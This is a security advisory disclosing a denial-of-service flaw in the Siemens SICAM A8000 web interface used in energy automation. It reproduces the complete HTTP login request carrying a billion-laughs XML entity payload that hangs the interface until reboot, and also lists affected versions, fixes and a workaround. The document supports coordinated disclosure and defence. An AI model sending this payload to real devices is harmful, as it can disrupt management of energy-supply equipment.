#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  SICAM A8000 Series
# Vendor:   Siemens
# CSNC ID:  CSNC-2019-002
# CVE ID:   CVE-2018-13798
# Subject:  SICAM Webinterface XXE DoS
# Risk:     Medium (CVSS 3.0 Base Score: 5.3)
# CVSS 3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C
# Effect:   Unauthenticated remotely exploitable
# Authors:  Emanuel Duss <emanuel.duss@compass-security.com>
#           Nicolas Heiniger <nicolas.heiniger@compass-security.com>
# Date:     2019-01-14
#
#############################################################

Introduction
------------

The Siemens SICAM A8000 RTU (Remote Terminal Unit) series is a modular device
range for telecontrol and automation applications in all areas of energy
supply. This device offers a web management interface for performing simple
management tasks.

During a penetration test, Compass found a denial-of-service vulnerability in
the Siemens SICAM web server. The web management interface is vulnerable
against the XXE billion laughs attack [2] using XML entities. Successful
exploitation can be performed unauthenticated over the network.

Affected
--------

* SICAM A8000 CP-8000 < V14
* SICAM A8000 CP-802X < V14
* SICAM A8000 CP-8050 < V2.00

Technical Description
---------------------

When a login on the web management interface is performed, the following
request is sent to the server:

    POST /sicweb-ajax/auth HTTP/1.1
    Host: 10.5.23.42
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://10.5.23.42
    Content-Type: application/xml
    Content-Length: 118
    Connection: close

    <?xml version="1.0" encoding="UTF-8"?>
    <Cmd_LogOn><authentication user="admin" pwd="P@ssw0rd"/><language id="en"/></Cmd_LogOn>

By modifying the XML message, it's possible to perform a billion laughs denial
of service attack against the web management interface:

    POST /sicweb-ajax/auth HTTP/1.1
    Host: 10.5.23.42
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://10.5.23.42/
    Content-Type: application/xml
    Content-Length: 1679
    Connection: close

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE doc [
      <!ENTITY c01 "badger">
      <!ENTITY c02 "&c01; &c01; &c01; &c01; &c01; &c01; &c01; &c01; &c01; &c01;">
      <!ENTITY c03 "&c02; &c02; &c02; &c02; &c02; &c02; &c02; &c02; &c02; &c02;">
      <!ENTITY c04 "&c03; &c03; &c03; &c03; &c03; &c03; &c03; &c03; &c03; &c03;">
      <!ENTITY c05 "&c04; &c04; &c04; &c04; &c04; &c04; &c04; &c04; &c04; &c04;">
      <!ENTITY c06 "&c05; &c05; &c05; &c05; &c05; &c05; &c05; &c05; &c05; &c05;">
      <!ENTITY c07 "&c06; &c06; &c06; &c06; &c06; &c06; &c06; &c06; &c06; &c06;">
      <!ENTITY c08 "&c07; &c07; &c07; &c07; &c07; &c07; &c07; &c07; &c07; &c07;">
      <!ENTITY c09 "&c08; &c08; &c08; &c08; &c08; &c08; &c08; &c08; &c08; &c08;">
      <!ENTITY c10 "&c09; &c09; &c09; &c09; &c09; &c09; &c09; &c09; &c09; &c09;">
      <!ENTITY c11 "&c10; &c10; &c10; &c10; &c10; &c10; &c10; &c10; &c10; &c10;">
      <!ENTITY c12 "&c11; &c11; &c11; &c11; &c11; &c11; &c11; &c11; &c11; &c11;">
      <!ENTITY c13 "&c12; &c12; &c12; &c12; &c12; &c12; &c12; &c12; &c12; &c12;">
      <!ENTITY c14 "&c13; &c13; &c13; &c13; &c13; &c13; &c13; &c13; &c13; &c13;">
      <!ENTITY c15 "&c14; &c14; &c14; &c14; &c14; &c14; &c14; &c14; &c14; &c14;">
      <!ENTITY c16 "&c15; &c15; &c15; &c15; &c15; &c15; &c15; &c15; &c15; &c15;">
      <!ENTITY c17 "&c16; &c16; &c16; &c16; &c16; &c16; &c16; &c16; &c16; &c16;">
      <!ENTITY c18 "&c17; &c17; &c17; &c17; &c17; &c17; &c17; &c17; &c17; &c17;">
      <!ENTITY c19 "&c18; &c18; &c18; &c18; &c18; &c18; &c18; &c18; &c18; &c18;">
      <!ENTITY c20 "&c19; &c19; &c19; &c19; &c19; &c19; &c19; &c19; &c19; &c19;">
    ]>
    <Cmd_LogOn><authentication user="admin" pwd="P@ssw0rd"/><language id="en"/>&c20;</Cmd_LogOn>


The XML parser on the device tries to resolve the external entities. This will
consume all available memory and the web management interface does not respond
anymore.

If the web management interface is refreshed in the browser, the following
message appears:

    The device is currently unreachable. Retrying to connect.

Other services on the device, like the one used by the ToolboxII for
configuring the device or the IEC104 service, will still work properly and are
not affected by this attack. Only the web management interface remains unusable
until the device is rebooted.

It's not possible to use XXE to read local or remote files using the SYSTEM
directive.

Vulnerability Classification
----------------------------

* CVSS v3.0 Base Score: 5.3
* CVSS v3.0 Vector:     CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C

Remediation
-----------

* SICAM A8000 CP-8000: Update to V14
* SICAM A8000 CP-802X: Update to V14
* SICAM A8000 CP-8050: Update to V2.00 or higher

Please see the Siemens advisory [3] for the download links.

As a workaround, it's also possible to restrict the access to the webserver on
port 80/tcp and 443/tcp using a firewall.

Acknowledgments
---------------

We thank Siemens for the coordinated disclosure.

Timeline
--------

2018-05-28:    Vulnerability discovered by Emanuel Duss and Nicolas Heiniger
2018-05-28:    Informed customer
2018-06-06:    Initial vendor notification
2018-03-18:    Vendor informed us that they will publish an advisory
2019-01-08:    Siemens published advisory [3]
2019-01-11:    Compass published advisory containing technical information

References
----------

[1] https://w3.siemens.com/smartgrid/global/en/products-systems-solutions/substation-automation/substation-automation/pages/sicam-a8000.aspx
[2] https://www.owasp.org/index.php/XML_Security_Cheat_Sheet#Billion_Laughs
[3] https://cert-portal.siemens.com/productcert/txt/ssa-579309.txt